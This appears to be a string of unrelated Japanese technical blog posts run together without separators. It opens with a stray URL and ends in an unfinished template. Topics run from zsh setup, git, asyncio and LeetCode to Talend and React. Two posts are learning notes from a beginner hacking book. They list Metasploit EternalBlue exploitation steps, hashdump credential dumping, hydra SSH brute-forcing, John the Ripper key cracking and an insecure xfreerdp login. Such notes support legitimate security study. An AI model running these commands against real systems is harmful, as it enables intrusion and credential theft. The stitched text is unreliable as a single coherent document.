https://panasonic.co.jp/ew/pewnw/solution/column/network/028.html#:~:text=Mac%E3%81%A7%E8%A6%8F%E6%A0%BC,%E3%82%8F%E3%81%8B%E3%82%8A%E3%81%BE%E3%81%99%E3%80%82
配列を「回転」させる

``[ 0, 1, 2, 3, 4 ]`` → ``[ 3, 4, 0, 1, 2 ]`` みたいなことをやりたいが、すぐ忘れるのでメモ。

``` javascript
    let array = [ 0, 1, 2, 3, 4 ];
    array = array.splice(3).concat(array);
```
これで array が ``[ 3, 4, 0, 1, 2 ]`` に変更される。**再代入を忘れずに。**

``array.splice(3)`` は array から添字 3 以降の要素を取り除いて返す。つまり、``[ 3, 4 ].concat([ 0, 1, 2])`` → ``[ 3, 4, 0, 1, 2 ]`` となる寸法。
【2024秋】応用情報技術者試験受験記

# はじめに
2024年10月の応用情報技術者を受験しました。
まだ結果は出ていませんが、ひとまず勉強法を残しておきたいと思います。

## 筆者のスペック
- 高等専門学校 5年（20歳）
- 主にネットワーク・セキュリティ系を専攻
- 開発は気が向いたらする程度
- たまにコンテストで本選出たり
- 今回の応用情報が初のIPA試験

# 教材
- [応用情報技術者 合格教本](https://www.amazon.co.jp/dp/4297138654)（以下、参考書）
- [過去問道場](https://www.ap-siken.com/apkakomon.php) （アカウントを作成、Freeプラン）

# 午前試験の勉強
試行錯誤の末に辿り着いた勉強法を紹介します。

1. 参考書のうちどれでもいいので1章読みます。
1. 過去問道場を開き、その章の範囲のみに絞って周回します。
1. 間違えた問題は、参考書を開いてちゃんと解説を読みます。（過去問道場の解説も読む）

期間に余裕がある間は上記の方法を繰り返します。一通りできれば学習のフェーズは終了です。

:::note info
2ヶ月くらい前には全範囲を一通りできるのが理想かと思います。
:::


次に、問題を解けるようにします。

とにかく過去問道場を無限周回します。
最終的には1500問ほど解けると本番も楽かと思います。

試験3日前からは「復習を開始」という機能で間違えた問題の答えを中期記憶します。
この時期になると理解している余裕はないので、問題とそれに対応する答えを覚えます。

そんな感じでやっていくと、月毎の正解率が次のように推移しました。（過去問道場の機能で確認できます）
| 月 | 正解率 |
|:-:|:-:|
| 7 | 56.5 % |
| 8 | 61.5 % |
| 9 | 61.6 % |
| 10 | 66.7 % |

午前試験は数をこなすのが最も重要です。

本番の正解率は自己採点で76%（61/80問）でした。

# 午後試験の勉強
これは特に言えることはありません。
というのも、通算約10時間ほどで過去問軽く解いて雰囲気を掴んだだけなので、これといって勉強はしていません。
普段の経験値でゴリ押しし、本番ではほとんど解答欄を埋めることができました。

解いた問題は
- セキュリティ（必須）
- 経営戦略
- ネットワーク
- 組込みシステム
- システム監査

試験時、何も知らない状態から午後試験を勉強しろと言われたら無理だなと思いました。
普段から自主開発やコンテストで実践している内容だったから解けたようなものです。

こちらの自己採点はしていません。
手応えはありますが、記述は機械的に採点ができないので、12月のお楽しみとしておきます。
落ちたらまた頑張ります。

# まとめ
応用情報は対策に時間がかかります。
bashからzshに鞍替え

## 環境

- ubuntu22.04

## zshのインストール

```zsh:bash
sudo apt update
sudo apt install zsh
```

## ログインシェルの変更


```zsh:zsh
zsh
```
でzshを起動し、
```zsh:zsh
chsh -s $(which zsh)
```
でログインシェルを切り替え。

PCを再起動し、

```
echo $SHELL
```

でログインシェルが変更できているか確認する。

`/usr/bin/zsh`と出力されればOK。



余談だが、
```
echo $0
```
で現在使用しているシェルを確認できる。

## preztoを設定

### インストール

クローンする

```zsh:zsh
git clone --recursive https://github.com/sorin-ionescu/prezto.git "${ZDOTDIR:-$HOME}/.zprezto"
```

### 設定ファイル作る

```zsh:zsh
setopt EXTENDED_GLOB
for rcfile in "${ZDOTDIR:-$HOME}"/.zprezto/runcoms/^README.md(.N); do
  ln -s "$rcfile" "${ZDOTDIR:-$HOME}/.${rcfile:t}"
done
```

root直下に
.zlogin
.zlogout
.zpreztorc
.zprofile
.zshenv
.zshrc
ができていることを確認する.
ファイルがすでにあるとエラーが出ます.

### 設定

`.zpreztorc`の30行目らへんにこんなのがある

```diff_batchfile:.zpreztorc
# Set the Prezto modules to load (browse modules).
# The order matters.

zstyle ':prezto:load' pmodule \
  'environment' \
  'terminal' \
  'editor' \
  'history' \
  'directory' \
  'spectrum' \
  'utility' \
  'completion' \
  'prompt'
```

それにちょびっと付け加える

```diff_batchfile:.zpreztorc
zstyle ':prezto:load' pmodule \
  'environment' \
  'terminal' \
  'editor' \
  'history' \
  'directory' \
  'spectrum' \
  'utility' \
  'completion' \
+ 'git' \
+ 'syntax-highlighting' \
+ 'autosuggestions' \
  'prompt'
```

### テーマの変更

https://qiita.com/abirutakayuki/items/4e04114b702f8e36def7#cloud

これを見たらたぶんわかる.
`.zpreztorc`の115行目とかそのくらいにある、
`zstyle ':prezto:module:prompt' theme 'sorin'`
のsorinのとこを好きなやつに変えてください。
僕はcloudが好きなので

```
zstyle ':prezto:module:prompt' theme 'cloud'
```

としてください.

## ターミナル再起動

おしまい
【Googleドキュメント】半角文字の入力時に表示される変換ウィンドウを非表示にする

# 起きたこと
Googleドキュメントで半角文字を入力しようとすると、変換を促すウィンドウが表示され、直接半角文字を入力できない。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2745394/8c092652-47cd-34e2-30cc-34b519875e90.png)

# 解決方法
上部のメニュー内にある入力ツール（"あ"のアイコン）をクリックする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2745394/42add75b-517f-a244-e9a0-3ce84faaaf52.png)
7日間でハッキングを始める本 - 3日目 -

# 本記事の目的
書籍「7日間でハッキングを始める本」の
Day3に出てきたコマンド・用語などの整理

Day5から本記事の投稿を開始しDay7まで完了したため、改めてDay2-4について復習しながら足りない部分を記述する
※Day1は環境構築がメインのため割愛
※そのため、既に過去の記事でまとめた内容については割愛することもある

## 関連記事
- [Day2](https://qiita.com/akebono-san/items/f835c32a16e35893729f)
- Day3 <- 本記事
- Day4 : 今後投稿予定
- [Day5](https://qiita.com/akebono-san/items/7103ba63a983103da7c3)
- [Day6](https://qiita.com/akebono-san/items/a190a63db00eb4679388)
- [Day7](https://qiita.com/akebono-san/items/1d36460b63fb74a79b84)

## コマンド・ツール
### Metasploit Framework
エクスプロイト（攻撃）のツール
多くのエクスプロイトコードを備えており、それらの検索・実行が簡単にできる
MSFconsoleというインターフェースを用いて実行する

```bash
# MSFconsoleの起動
msfconsole

# 以降はmsf上で行う
# ここでは、"CVE-2017-0143"の脆弱性への攻撃を例として以降の処理を書く

# 攻撃モジュールの検索
search CVE-2017-0143

# 使うモジュールの指定(今回は0で表示されたeternalblueを使う)
use 0

# モジュールで使用するオプションを確認する
show options

# 必要に応じてオプションを設定する
set RHOSTS <target ip address>
set LHOST <local ip address>

# 実行する
# 失敗することもあるので何度か実行する
# meterpreterというプロンプトが表示されていれば成功
exploit
```

### hashdump
マシンに保存されているユーザーアカウント情報をダンプする

```bash
hashdump

# "<User名>:<UserId>:<LM Hash>:<NTLM Hash>:::"の形式で取得できる
```

### CrackStation
レインボーテーブルからハッシュ化される元の情報を検索できるサイト

### xfreerdp
RDP接続するコマンド

```bash
# /u ユーザー名を指定
# /v ipを指定
# /p パスワードを指定
# /cert:ignore 証明書認証を無視
# /sec:rdp NLAを無効
xfreerdp /u:<usr> /v:<ip> /p:<password> /cert:ignore /sec:rdp
```

## セキュリティ攻撃関係の用語集
### Remote Code Execution vulnerability(RCE)
リモートコード実行の脆弱性
外部から攻撃者がコンピュータやサーバに不正なコードを送り込んで実行できるセキュリティ上の問題
脳死でUbuntuにTeamViewerをインストールする方法

# UbuntuでのTeamViewerのインストール
### 以下のコマンドを実行します。
#### 1. TeamViewerのインストール
```bash
sudo apt-get install teamviewer
```
### 以上でインストールの完了です。

# 最後に
本記事では脳死でUbuntuにTeamViewerをインストールする手順を紹介しました。
公式サイトには正式な方法が書かれているので、気になった際はご参照ください。
https://www.teamviewer.com/ja/global/support/knowledge-base/teamviewer-remote/

#### ちなみに
アカウント作成に関して、サードパーティでの作成は個人的には推奨しません。
Ubuntuデスクトップクライアントでのログイン方法が確認できなかったためです。
PythonでPowerPoint (PPT/PPTX)をPDFに変換する

PowerPointをPDF形式に変換すると、元のPowerPointファイルのレイアウト、フォント、色、画像を保持することができ、どのようなデバイス上で表示するときに一貫性を確保します。この記事では、PythonでPowerPointファイルをプログラムでPDFに変換する方法を紹介します。

## Pythonライブラリのインストール
PowerPointからPDFへの変換には、サードパーティ製ライブラリSpire.Presentation for Pythonが必要です。これはpip経由でインストールできます：
>pip install Spire.Presentation

または、以下のリンクから製品パッケージをダウンロードし、ローカルパスからインストールすることができます。

https://www.e-iceblue.com/Download/Spire-Presentation-Python.html


## PythonでPowerPointプレゼンテーションをPDFに変換する
>主なステップ：

1\. **`Presentation`** クラスのオブジェクトを作成します。
2\.	**`Presentation.LoadFromFile()`** メソッドを使用して、PPTまたはPPTXファイルをロードします。
3\.	**`Presentation.SaveToFile(fileName: str, fileFormat: FileFormat)`** メソッドを使用して、PowerPointファイルをPDF文書に保存します。

>Pythonのコード：
```python
from spire.presentation import *
from spire.presentation.common import *

# PowerPointファイルを読み込む
presentation = Presentation()
presentation.LoadFromFile("Input.pptx")

# PowerPointファイルをPDFに保存する
presentation.SaveToFile("PowerPointToPDF.pdf", FileFormat.PDF)
presentation.Dispose()
```
![PPTXtoPDF.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2811193/b39889fe-1557-6cfd-073f-a8fae47c759f.png)



## Pythonで指定したスライドをPDFに変換する
>主なステップ：

1\. **`Presentation`** クラスのオブジェクトを作成します。
2\.	**`Presentation.LoadFromFile()`** メソッドを使用して、PPTまたはPPTXファイルをロードします。
3\.	**`Presentation.Slides[]`** プロパティを使用してスライドを取得します。
4\.	**`ISlde.SaveToFile(file: str, fileFormat: FileFormat)`** メソッドを使用してスライドをPDFに保存します。

>Pythonのコード：
```python
from spire.presentation import *
from spire.presentation.common import *

# PowerPointファイルを読み込む
presentation = Presentation()
presentation.LoadFromFile("InputR.pptx")

# 指定したスライドを取得する
slide = presentation.Slides[1]

# スライドをPDFに保存する
slide.SaveToFile("SlideToPDF.pdf", FileFormat.PDF)
presentation.Dispose()
```
* * *
Pythonライブラリは、PDFへの変換に加えて、HTMLへのPowerPointの変換、画像へのPowerPointの変換、および他の多くのPPT/PPTXファイル処理機能をサポートしています。詳しくは以下をご覧ください：

https://www.e-iceblue.com/Tutorials/Python/Spire.Presentation-for-Python/Program-Guide/Spire.Presentation-for-Python-Program-Guide-Content.html
Pythonにおける並行処理と並列処理メモ

# Pythonの並行処理(Concurrency)と並列処理(Parallelist)

## 並行処理(Concurrency)
並行処理は、複数のタスクを同時に実行するように見せかける技術です。シングルスレッドでも、タスクを切り替えて実行することで、あたかも複数のタスクが同時に進行しているように見えます。各タスクは、他のタスクの完了を待たずに進行できるため、CPUのリソースを効率よく使うことができます。

Pythonでの並行処理は主にasyncioやthreadingによって実現されますが、asyncioはシングルスレッドで動作し、タスクの切り替えを効率的に行う仕組みです。これにより、I/Oバウンドな操作（例えば、ネットワーク通信やファイルの読み書き）が他の処理をブロックせずに進行します。

## 並列処理(Parallelist)
並列処理は、複数のタスクを物理的に同時に実行することです。これは通常、複数のCPUコアやスレッドを使って実現します。並列処理では、複数のタスクが実際に同時に動いているため、CPUバウンドな処理（大量の計算を必要とするタスクなど）を高速に処理することが可能です。

Pythonでは、threadingを使うことでマルチスレッドを利用して並列処理が可能です。ただし、PythonのGIL（Global Interpreter Lock）の影響により、完全な並列処理を実現することが難しい場合があります。threadingは同時に動作しているように見えますが、GILによって1つのスレッドしか実際には動作していないことが多いため、特にCPUバウンドなタスクでは効果が限定的です。

## 並行処理と並列処理の違い

### 並行処理 (Concurrency):
- 複数のタスクが同時に「進行している」ように見えるが、実際にはタスクの切り替えを行っているだけ
- Pythonのasyncioはこの仕組みを使って、シングルスレッドで効率的に処理を進める
- 主にI/Oバウンドなタスクに向いている（例：ネットワーク通信、ファイル操作）

### 並列処理 (Parallelism):
- 複数のタスクが物理的に同時に実行される
- Pythonのthreadingやmultiprocessingを使って、複数のスレッドやプロセスで処理を並列化できる
  - GILの影響でthreadingによるパフォーマンス改善は見込めない
  - pythonで並列処理をしたい場合はmultiprocessingが有効
- CPUバウンドなタスクに向いている（例：大量の計算、データ処理）


# コルーチン(Coroutine)とタスク(Task)の違い

### コルーチン(Coroutine)

#### コルーチンとは:
コルーチンは、非同期関数の実行可能な単位です。async defで定義された関数を呼び出すと、コルーチンオブジェクトが返されます。コルーチン自体は単に「待機されるべき処理の定義」であり、実行されるためにはイベントループでスケジュールされる必要があります。

#### 特徴:
コルーチンは、awaitキーワードを使って非同期的に処理を待つことができます。
コルーチンを直接実行しようとしても、すぐには動作しません。イベントループでawaitまたはasyncio.run()などを使って実行される必要があります。

```py
import asyncio

async def my_coroutine():
    print("Coroutine started")
    await asyncio.sleep(1)
    print("Coroutine ended")

# my_coroutine()はコルーチンオブジェクトを返すだけで、この時点では実行されない
coroutine = my_coroutine()
print(coroutine)  # <coroutine object my_coroutine at 0x...>

# 実行するにはイベントループでawaitする必要がある
asyncio.run(coroutine)
```

### タスク(Task)

#### タスクとは:
タスクは、コルーチンを実行するためのラッパーオブジェクトです。タスクはコルーチンをイベントループにスケジュールして実行させます。タスクを生成すると、コルーチンは自動的にスケジュールされ、バックグラウンドで並行して実行されます。

#### 特徴:
asyncio.create_task()を使うことでコルーチンをタスクとしてスケジュールし、イベントループで実行できます。
タスクはイベントループが回っている間に他のタスクと並行して実行され、結果が返されるか、例外が発生すると完了します。
タスクは一度スケジュールされるとすぐに実行され始め、awaitでその結果を待つことができますが、待たずにタスクがバックグラウンドで実行され続けることも可能です。

```py
コードをコピーする
import asyncio

async def my_coroutine():
    print("Coroutine started")
    await asyncio.sleep(1)
    print("Coroutine ended")

async def main():
    # コルーチンをタスクとしてスケジュール
    task = asyncio.create_task(my_coroutine())
    
    print("Task created, coroutine is now running in the background...")
    
    # タスクの完了を待つ
    await task

asyncio.run(main())
```
インターンで使ったgitコマンド

# インターンで使用したgitコマンド集
普段の個人開発やチーム開発で多少gitを使う事はあるけど、あまり詳しくないよ、、という方に向けて書く記事です。あとは自分用のメモ的な感じです。

今回のインターンではPostgreSQLのOSSコミットを行ったので、その関連になります。自身がcommitする事は無く、他の人の履歴を遡ったり、パッチを作成したりするのがメインだったので、`cherry pick`のようなコミットやマージに関するコマンドは少ないので少ないのでご承知起きください。

## [git show](https://tracpath.com/docs/git-show/)
これを打つと、headのログメッセージやファイルの差分が表示されます。ブロブやタグなども見れますが、自分はコミット以外見ていないです。以前の変更がどのようになっているかを確認したい時などに使用しました。
詳しく知りたい人は
```shell
man git-show
```
などとすればマニュアルが読めるので、そちらを確認して見てください。

ついでに、
```shell
git show --numstat
```
とすると
どのファイルに何行の変更を加えたか、が見ることが出来ます。`--satt`でも同様のことができるのですが、`--stat`だけだと合計で何行のinsertとdeleteがあったかしか表示されず、ここのファイルについては見ることが出来ません。`--numstat`は詳細などを省くことなく、より詳しく確認することが出来ます。

## [git blame](https://git-scm.com/docs/git-blame)
このコマンドでは指定されたファイルの各行が誰によって、いつ変更されたかなどが確認できます。これによって、気づいたら変数名や関数名が違った時に、いつ変更されたのかを遡ったり、どのバージョンから変更が加えられたのかを確認することができます。
自分は、ある関数がいつから使われているのか知りたくて、（42行目の変更がいつされたのか知りたい時）
```shell
git blame | grep 42
```
として使用しました。
関数やある特定の文字列が加えられたときのコミットを調べたいときは、
```shell
git blame -L:func_name example.c
```
```shell
git log -p -S 'word_ur_looking' example.c
```
などとすれば調べられます。他にも正規表現で調べたりなど色々あるので、詳しく知りたい方は`man git-blame`などで調べてみるといいかもしれません。

## [git format-patch](https://git-scm.com/docs/git-format-patch)
このコマンドはpatchファイルを作成する時に使用するコマンドです。ちょっと話が逸れますが、今回のPostgreSQLのOSSコミュニティでは`git`などで`issue`を立てて`pull request`などを作成して、、、などの現在メジャーな開発方法ではなく、メーリングリストで`patchファイル`を送信し、それを自身のエディタで適応させたのちその変更に対して議論を重ね、最終的に偉い方が本体にマージする、という形の開発でした。なのでpatchファイルを作成してそれをメールで送る際に使用する時に使用するコマンドが`git format-patch`でした。
```shell
git diff > example.patch
```
としてもpatchファイルが作成できるのですが、これだと変更差分のみがpatchファイルに入力されます。
```shell
git format-patch -1
```
などとすると最新の(-1をしているため)コミットメッセージや著者情報などをpatchファイルに入力し、自動的にファイル名を名付けてくれる。（ファイル名はコミットメッセージから作成される)
また、二つや三つの場合は連番にしてくれるので、正式なpatchファイルはこのコマンドで作成されることが多いらしいです。

## [git apply](https://git-scm.com/docs/git-apply) , [git am](https://git-scm.com/docs/git-am)
これらのコマンドは先ほど作成したpatchファイルを自分の手元で適応する際に必要となるコマンドです。
`git apply`は単に変更を取り込むだけのコマンドです。コミット情報などは反映されず、手元で変更を確認したい時などに使用します。
それに対して`git am`はコミット履歴を作成します。つまり、現在の自分のファイルに対して
```shell
git am 0001-your-changes.patch
```
などとすると、`0001-your-changes.patch`がコミットされた状況になります。なので、この`git am`コマンドは`git format-patch`で作成した、コミット履歴付きのpatchファイルにしか適用されず、`git diff`などで作成されたファイルを`git am`する事はできません。

## その他
その他ということで、普段の開発でも使用するであろうコマンドで、今回のインターンでも使用したコマンドも一応記載しておきます。本当に基礎的なコマンドなども一応載せておくので（add, commitなどは流石に飛ばします)、ご確認のために、、、

### [git reset](https://git-scm.com/docs/git-reset)
このコマンドでは、addやcommitした変更を取り除けます。
簡単にまとめると以下のような感じです
- reset --hard ：add、commit、ワーキングツリーの取り消し

- reset --mixed：commitとaddの取り消し

- reset --soft ：commitのみ取り消し
### [git revert](https://git-scm.com/docs/git-revert.html)
このコマンドは履歴を保持しつつある特定のコミットを新しいコミットで打ち消すことが出来ます。ある特定のコミット以降の変更がそのコミットの変更に依存していた場合などはコンフリクトが起こる可能性があるので、それらは手動で解決しましょう。

## まとめ
今回のインターンではメーリングリストでいろいろ作業を行なったため、patchファイルを作成したり、それの変更を適用させたりと、普段ではあまり使わないコマンドを使用しました。ブランチを切って、そこでpull requestの内容を取り込んで、、などとせずpatchファイルを送りあって、それに関して英語で議論しあう、という普段あまりしない体験だったのですが、とても面白かったです！！！
LeetCodeを1日1題解いてみる (day6)

6日目に取り組んだ問題はこちら！

# 28. Find the Index of the First Occurrence in a String

https://leetcode.com/problems/find-the-index-of-the-first-occurrence-in-a-string/description/

## 問題文
Given two strings needle and haystack, return the index of the first occurrence of needle in haystack, or -1 if needle is not part of haystack.


## 僕の回答(失敗作)

```py
class Solution:
    def strStr(self, haystack: str, needle: str) -> int:
        i = 0
        for idx, s in enumerate(haystack):
            if needle[i] == s:
                i += 1
                if i == len(needle):
                    return idx + 1 - i
            else:
                i = 0
        return -1
```

## 僕の回答をGPTで修正

```py
class Solution:
    def strStr(self, haystack: str, needle: str) -> int:
        i = 0
        idx = 0
        while idx < len(haystack):
            if needle[i] == haystack[idx]:
                i += 1
                idx += 1
                if i == len(needle):
                    return idx - i
            else:
                if i > 0:  # 部分一致が失敗した場合
                    idx = idx - i + 1  # idx を調整して戻す
                else:
                    idx += 1
                i = 0 
        return -1
```

## より効率の良い回答例

```py
class Solution:
    def strStr(self, haystack: str, needle: str) -> int:
        if needle == "":
            return 0
        for i in range(len(haystack) - (len(needle) - 1)):
            if haystack[i: i + len(needle)] == needle:
                return i
        return -1
```

### コメント
はじめ、`haystack` 内で部分一致が失敗した後、失敗した部分の次の位置から再探索していました。しかし、失敗した箇所の一部をもう一度探索する必要があることを見落としていました。
例えば、`haystack = "ababc"` と `needle = "abc"` のケースでは、`idx = 2` の時点で `haystack` は `"aba"` となり部分一致に失敗します。この場合、私は4文字目の`b` から探索を再開していました。しかし、正しい処理では、失敗した箇所の2文字目の `b` から再度探索し直す必要がありました。
また、`substring = haystack[i: i + len(needle)]`で複数要素を一気に取り出せることを学びました😊

### 次回はこちら!
https://qiita.com/h_y_s_d/items/34df94c278fbe7f2c65c
[Talend] Talendジョブ作成の基礎 (1)

# はじめに

**Hello, World!!**

はじめましての方ははじめまして。
3年半ほどTalendというETLツールの技術者をやっています。
スキマ時間を見つけてはQiitaの記事投稿を行っておりますが、需要があるかはともかくとして、今回で5回目の投稿となりました。

さて、記念すべき5回目の題材は、Talendの技術者らしく、**Talend Studioでのジョブの作り方や、利用できるコンポーネントについて**書いてみようと思います。

:::note info
なお、表題は(1)となっていますが、(2)以降の執筆は未定です。
:::

# 今回紹介するコンポーネント
とはいったものの、Talend Studioでジョブを作成する際に使用できるコンポーネントの数はとてつもなく多いです。
コンポーネントについては、下記ドキュメント参照。

https://help.talend.com/ja-JP/components/8.0/Content/Components/Home.htm

このため、ジョブ作成の初歩ということで
**前処理/メインの処理/後処理の流れで実装を行う**
という部分にフォーカスし、実装する際に使用する

* [tPreJob](#tprejob)
* [tPostJob](#tpostjob)

について記載します。

## tPreJob

メイン処理開始前に行っておきたい処理がある場合に使用するコンポーネント。
このコンポーネント自体は、あくまで「前処理を行い、その後メイン処理を行う」というジョブデザインを明確にするためのコンポーネントであり、このコンポーネント自体が何かの処理を行うわけではありません。

https://help.talend.com/r/ja-JP/8.0/orchestration/tprejob

### 使用ケース
* 外部サービスへの接続を開始　(tDBConnection/tS3Connectionなど)
* 必要なファイルの存在確認 (tFileExistなど)

といった場合に利用します。

## tPostJob

メイン処理終了後に行っておきたい処理がある場合に使用するコンポーネント。
tPreJob同様、このコンポーネント自体は、あくまで「メイン処理後に後処理を行う」というジョブデザインを明確にするためのコンポーネントであり、このコンポーネント自体が何かの処理を行うわけではありません。

https://help.talend.com/r/ja-JP/8.0/orchestration/tpostjob

### 使用ケース
* 外部サービスへの接続を切断　(tDBClose/tS3Closeなど)
* 作成した一時ファイルの削除 (tFileDeleteなど)

といった場合に利用します。

# サンプルジョブ

* 前処理 : DB接続を行う
* メイン処理 : 前処理に成功した場合、DBからレコードを抽出し、その内容をファイル出力する
* 後処理 : DB切断を行う

という処理のサンプルを実装してみます。

この場合、全体像は以下の図のようになります。

![全体像.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2646113/b1565200-8940-964f-3dd8-866bbe10bd4a.png)

## 前処理
前処理では、
1. tDBConnectionコンポーネントでDB接続を行う
1. (1\. に成功した場合) tJavaコンポーネントでコンテキスト変数の変更を行う

の処理を行います。

:::note info
コンポーネントの接続を"tCompornentOK"等で行うと、前処理で行うDB接続の成否にかかわらず、メイン処理が行われます。このため筆者は
「**boolean型の変数 (デフォルト値は"false"に設定) を一つ用意しておき、前処理のDB接続に成功した場合、\"true"に変更する。**」
といった実装をよく行います。今回もその形式です。
:::

## メイン処理
メイン処理では、前処理でDB接続に成功した場合のみ
1. tDBInputコンポーネントでSelect文を実行
1. tMapコンポーネントで1\. の結果をメモリ上に保持
1. tFileOutputDelimitedコンポーネントで2\. の結果をファイルに出力

の処理を行います。

## 後処理
後処理では
1. tDBCloseコンポーネントでDB切断

の処理を行います。

:::note info
(今回はDB接続のみなので行っていませんが) たとえば、別のサーバからファイルを取得し、処理後に取得元のファイルを削除するようなケースの場合、今回前処理で実装したようなメイン処理の成否を管理するフラグを1つ用意し、フラグが"true"の場合のみ削除する、といった実装にしておくのが無難です。
:::

# おわりに

ここまで読んでいただきありがとうございました。今回は、Talendにおけるジョブ作成の基礎の基礎を紹介させていただきました。
最初はもうちょっといろいろ書こうと思っていたのですが、ボリュームがえげつないことになりそうだったので分けて記述することにしました。※なお、2回目以降があるかは不明です。
今回この記事を記述していて、自分では当たり前のようにやってることを他人に説明する難しさを感じていて、「言語化って大事だな」とあらためて思いました。

以上。
ACDLを提唱します。その12

# 概要
ACDLとは、アプリは、クラウド、大切なデータは、ローカルです。
アプリ作ったので、plunkerに上げてみた。

# 機能
ボタンに使うPNGを生成します。

# 写真

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/b556f7f3-845f-a97b-a61d-c955e1979364.png)



# サンプルコード

```

var canvas = document.getElementById('canvas');
var ctx = canvas.getContext('2d');
var src = document.getElementById('src');
var a = document.getElementById('download');
function run() {
    ctx.clearRect(0, 0, canvas.width, canvas.height);
    eval(src.value);    
    var url = canvas.toDataURL("image/png");
    a.setAttribute('href', url);
    a.setAttribute('download', 'canvas.png');
}
function roundRect(x, y, w, h, r) {
    ctx.fillStyle = '#FFF';
    ctx.beginPath();
    ctx.moveTo(x, y + r);
    ctx.lineTo(x, y + h - r);
    ctx.quadraticCurveTo(x, y + h, x + r, y + h);
    ctx.lineTo(x + w - r, y + h);
    ctx.quadraticCurveTo(x + w, y + h, x + w, y + h - r);
    ctx.lineTo(x + w, y + r);
    ctx.quadraticCurveTo(x + w, y, x + w - r, y);
    ctx.lineTo(x + r, y);
    ctx.quadraticCurveTo(x, y, x, y + r);
    ctx.closePath();
    ctx.fill();
}


```

# 成果物

https://embed.plnkr.co/plunk/Tpu7Lz3iRIXsoejn


以上
7日間でハッキングを始める本 - 2日目 -

# 本記事の目的
書籍「7日間でハッキングを始める本」の
Day2に出てきたコマンド・用語などの整理

Day5から本記事の投稿を開始しDay7まで完了したため、改めてDay2-4について復習しながら足りない部分を記述する
※Day1は環境構築がメインのため割愛
※そのため、既に過去の記事でまとめた内容については割愛することもある

## 関連記事
- Day2 <- 本記事
- Day3 : 今後投稿予定
- Day4 : 今後投稿予定
- [Day5](https://qiita.com/akebono-san/items/7103ba63a983103da7c3)
- [Day6](https://qiita.com/akebono-san/items/a190a63db00eb4679388)
- [Day7](https://qiita.com/akebono-san/items/1d36460b63fb74a79b84)

## コマンド・ツール
### nmap
Port Scan用のツール、詳細はDay6の記事を参照

### dirb
Webサーバーのディレクトリ構成を調べるコマンド

```bash
# urlに対して、wordlistを利用して構成を確認する
# wordlistを省略した場合、dirbのデフォルトの辞書を利用する
dirb <url> <wordlist>
```

### hydra
辞書攻撃やブルートフォース攻撃などの繰り返しの処理でパスワードをクラッキングするためのツール

```bash
# -l : user名を指定
# -P : 辞書攻撃に使用するwordlistを指定
# -t : 並列処理のスレッド数を指定(4が推奨)
hydra -l <usr> -P <wordlist> ssh:<address> -t <thread>
```

### John The Ripper（JTR）
セキュリティ強度を調査するためのパスワードクラッキングツール

```bash
# rsa_idからパスワードをクラックする

# rsa_idファイルをJTRが処理できる形式に変換
/usr/share/john/ssh2john.py <rsa_id> > <output>

# ↑で変換して取得したoutputをinputとして、パスワードをクラッキング
# --wordlist : ワードリストを指定するオプション
john <input> --wordlist=/usr/share/wordlists/rockyou.txt
```
NextUIのInputはfileが添付できないから作った

# はじめに
みなさん、こんにちは **torihazi**です。

現在、RailsとNext.js(NextUI)でXクローンを作っているのですが

タイトルのことで少し詰まったので記事にしてみました

今作ってるもの
![スクリーンショット 2024-10-18 13.57.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2567812/81b02142-0eae-5116-30a6-f701d2dfff48.png)

# 結論
Buttonコンポーネントとinputタグで作ります。
```tsx
export const InputFileButton = ({
  name,
  icon,
}: {
  name: string;
  icon: ReactNode;
}) => {
  const inputRef = useRef<HTMLInputElement>(null);

  const handleChange = (e) => {
    const file = e.target.files[0];
    console.log(file);
  };

  return (
    <>
      <IconButton onClick={() => inputRef.current?.click()}>{icon}</IconButton>
      <input
        ref={inputRef}
        accept="image/png image/jpeg"
        className="hidden"
        name={name}
        type="file"
        onChange={handleChange}
      />
    </>
  );
};

export const IconButton = ({
  children,
  onClick,
}: {
  children: ReactNode;
  onClick?: () => void;
}) => {
  return (
    <Button
      isIconOnly
      className="text-[#1C9BEF]"
      radius="full"
      variant="light"
      onClick={onClick}
    >
      {children}
    </Button>
  );
};

```

refを使ってbuttonクリックでinputと結びつけるみたいです。

form使っている際ににform外部のbuttonと連携しようとしてidとformを設定すればいけるので

似たようなの無いのかなと思って色々調べていたのですが、refで解決のようでした。

# 終わりに
こうすればいけます。
できたやつでこのinputのものは下のやつの画像アイコンのとこですね。

![スクリーンショット 2024-10-18 14.06.14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2567812/8334923c-7e8b-734a-a90f-4182740a868d.png)
SSLオフロードのオフロードとは

SSLオフロードとは、従来であればWebサーバで行っていたSSLの暗号化や復号の処理を、他の機器で肩代わりすることを意味します。 

もともとオフロードとは、物流の途中で運送方法を変えるという意味です。

まさに「荷物をトラックから降ろして別の車両に移し替える」というイメージの「オフロード」という言葉にぴったりと当てはまるためです。
useEffectの落とし穴

業務にて詰まった部分とその解決方法を簡単に紹介

## 発生した問題
`Flutter_Hooks`の機能の１つでとっても便利な`useEffect`
画面描写時に１度だけ呼び出したり特定の値の変更を検知して処理を実行したい時なんかに重宝する機能です
``` dart
useEffect(
  () {
    // 特定のタイミングに呼び出したい何らかの処理
    return;
  },
  [/*タイミングの判定に使う値*/],
);
```
ただし、`riverpod`と併用している場合に以下のような処理をしたくなることがあるかもしれません
``` dart
useEffect(
  () {
    // provider.notifierなどのstateに影響が出る処理
    return;
  },
  [/*タイミングの判定に使う値*/],
);
```
これを実行すると**エラー**が出ます
``` dart
setState() or markNeedsBuild() called during build.
//「Widgetビルド中にstateをいじるな」といったような意味
```

## 解決策
それでも`useEffect`の中でその処理を実行したいといった時には、Widgetのビルドが終わるのを待ってから処理を実行するように指定する必要があります

そこで使用するのが`WidgetsBinding.instance.addPostFrameCallback()`
この中に記述した処理はWidgetの描写が終わった**後**に実行されます

つまり
``` dart
useEffect(
  () {
    WidgetsBinding.instance.addPostFrameCallback((_) {
      // provider.notifierなどのstateに影響が出る処理
    });
    return;
  },
  [/*タイミングの判定に使う値*/],
);
```
これでOK

多少の落とし穴はあっても便利なものは便利ですといった話でした
【LeetCode】Two Sum 解いてみた


<!--

## 技術記事のタイトル

最も伝えたいこと。
